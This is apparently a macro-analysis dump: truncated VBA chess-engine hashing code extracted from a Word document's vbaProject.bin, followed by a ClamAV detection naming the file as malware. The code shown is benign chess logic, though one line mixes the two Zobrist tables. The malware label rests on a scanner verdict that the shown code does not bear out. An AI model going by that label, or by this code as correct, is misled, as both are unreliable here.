          ' Other position found. Overwrite?
          ReplaceValue = .Depth - 8 * (HashGeneration - .Generation)
          If ReplaceValue < MaxReplaceValue Then
            MaxReplaceValue = ReplaceValue: ReplaceIndex = IndexKey + i
            'If HashUsage > 0 Then HashUsage = HashUsage - 1
          End If
        End If
      Else
        If MaxReplaceValue > -9000 Then MaxReplaceValue = -9000: ReplaceIndex = IndexKey + i
      End If
    End With
  Next
  
  If HashTable(ReplaceIndex).Position1 = 0 And HashUsage < 2147483646 Then HashUsage = HashUsage + 1
  
  With HashTable(ReplaceIndex)
    '--- Save hash data, preserve hash move if no new move
    If Not bPosFound Or EvalType = TT_EXACT Or Depth > .Depth - 4 Or .Generation <> HashGeneration Then
      .Position1 = ZobristHash1: .Position2 = ZobristHash2
      .MoveFrom = TmpMove.From: .MoveTarget = TmpMove.Target: .MovePromoted = TmpMove.Promoted
      .EvalType = EvalType: .Eval = ScoreToHash(Eval)
      .StaticEval = StaticEval: .Depth = Depth
      .Generation = HashGeneration
      .IsChecking = TmpMove.IsChecking
    End If
  End With
End Function

Public Function IsInHashTable(HashKey As THashKey, _
                              ByRef HashDepth As Long, _
                              HashMove, _
                              ByRef EvalType As Long, _
                              ByRef Eval As Long, _
                              ByRef StaticEval As Long) As Boolean
  Dim IndexKey As Long, i As Long
  IsInHashTable = False: HashMove = EmptyMove: EvalType = TT_NO_BOUND: Eval = UNKNOWN_SCORE: StaticEval = UNKNOWN_SCORE: HashDepth = -999
  ZobristHash1 = HashKey.HashKey1
  ZobristHash2 = HashKey.HashKey2
  IndexKey = HashKeyCompute() * HASH_CLUSTER
  For i = 0 To HASH_CLUSTER - 1
    If HashTable(IndexKey + i).Position1 <> 0 And ZobristHash1 <> 0 Then
      With HashTable(IndexKey + i)
        If ZobristHash1 = .Position1 And ZobristHash2 = .Position2 Then
          If .Depth > HashDepth Then
            ' entry found
            IsInHashTable = True
            If InHashCnt < 2000000 Then InHashCnt = InHashCnt + 1
            
            '--- Read hash data
            If .MoveFrom > 0 Then
              HashMove.From = .MoveFrom: HashMove.Target = .MoveTarget
              HashMove.Promoted = .MovePromoted: HashMove.IsChecking = .IsChecking: HashMove.IsInCheck = .IsChecking
              HashMove.Captured = Board(.MoveTarget): HashMove.piece = Board(.MoveFrom): HashMove.CapturedNumber = Squares(.MoveTarget)
              Select Case HashMove.piece
              Case WPAWN
                If .MoveTarget - .MoveFrom = 20 Then
                  HashMove.EnPassant = 1
                ElseIf Board(.MoveTarget) = BEP_PIECE Then
                  HashMove.EnPassant = 3
                End If
              Case BPAWN
                If .MoveFrom - .MoveTarget = 20 Then
                  HashMove.EnPassant = 2
                ElseIf Board(.MoveTarget) = WEP_PIECE Then
                  HashMove.EnPassant = 3
                End If
              Case WKING
                If .MoveFrom = SQ_E1 Then
                  If .MoveTarget = SQ_G1 Then
                    HashMove.Castle = WHITEOO
                  ElseIf .MoveTarget = SQ_C1 Then
                    HashMove.Castle = WHITEOOO
                  End If
                End If
              Case BKING
                If .MoveFrom = SQ_E8 Then
                  If .MoveTarget = SQ_G8 Then
                    HashMove.Castle = BLACKOO
                  ElseIf .MoveTarget = SQ_C8 Then
                    HashMove.Castle = BLACKOOO
                  End If
                End If
              End Select
            End If
            
            EvalType = .EvalType: Eval = HashToScore(.Eval): StaticEval = .StaticEval
            HashDepth = .Depth
            .Generation = HashGeneration ' Update generation
            Exit For
          End If
        End If
      End With
    End If
  Next
End Function

Public Function LimitDouble(ByVal d As Double) As Long
  ' Prevent overflow by looping off anything beyond 31 bits
  Const MaxNumber As Double = 2 ^ 31
  LimitDouble = CLng(d - (Fix(d / MaxNumber) * MaxNumber))
End Function

Public Sub InitZobrist()
  Static bDone As Boolean
  Dim p As Long, s As Long
  
  If bDone Then Exit Sub
  bDone = True
  ZobristHash1 = 0: ZobristHash2 = 0

  Randomize 1001 ' init random generator with fix value
  For p = SQ_A1 To SQ_H8
    For s = 0 To 16
      ZobristTable(p, s) = CalcUniqueKey(): ZobristTable2(p, s) = CalcUniqueKey()
    Next
  Next
  HashWhiteToMove = CalcUniqueKey(): HashWhiteToMove2 = CalcUniqueKey()
  HashWCanCastle = CalcUniqueKey(): HashWCanCastle2 = CalcUniqueKey()
  HashBCanCastle = CalcUniqueKey(): HashBCanCastle2 = CalcUniqueKey()
End Sub

Private Function CalcUniqueKey() As Long
  Static KeyList((1 - 0 + 1) * 17 * 2 + 8) As Long
  Static ListCnt As Long
  Dim l As Long, i As Long
  
NextTry:
  l = 65536 * (Int(Rnd * 65536) - 32768) Or Int(Rnd * 65536)
  For i = 1 To ListCnt
    If KeyList(i) = l Then GoTo NextTry
  Next
  ListCnt = ListCnt + 1: KeyList(ListCnt) = l
  CalcUniqueKey = l
End Function

Public Sub HashSetPiece(ByVal Position As Long, ByVal piece As Long)
  If piece = Frame Or piece = NO_PIECE Then Exit Sub
  ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
  ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub

Public Sub HashDelPiece(ByVal Position As Long, ByVal piece As Long)
  If piece = Frame Or piece = NO_PIECE Then Exit Sub
  ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
  ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub

Public Sub HashMovePiece(ByVal From As Long, Target As Long, ByVal piece As Long)
  ZobristHash1 = ZobristHash1 Xor ZobristTable(From, piece) Xor ZobristTable(Target, piece)
  ZobristHash2 = ZobristHash2 Xor ZobristTable(From, piece) Xor ZobristTable2(Target, piece)
End Sub

Public Function HashKeyCompute() As Long
  HashKeyCompute = ZobristHash1 Xor ZobristHash2
  If HashKeyCompute = -2147483648# Then HashKeyCompute = HashKeyCompute + 1
  HashKeyCompute = Abs(HashKeyCompute) Mod (HashSize \ HASH_CLUSTER)
End Function

Public Sub SetHashToMove()
 If bWhiteToMove Then
  ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
 End If
End Sub

Public Sub HashSetCastle()
  If WhiteCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
  If BlackCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
End Sub

Public Function ScoreToHa
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 2049024 bytes
SHA-256: 891e0e7cc7e319b72780003300c16fee1645338e9ffb1fca8216e35bb89d3241
Detection
ClamAV: Doc.Malware.W2000m-7603021-0
Obfuscation or payload: unlikely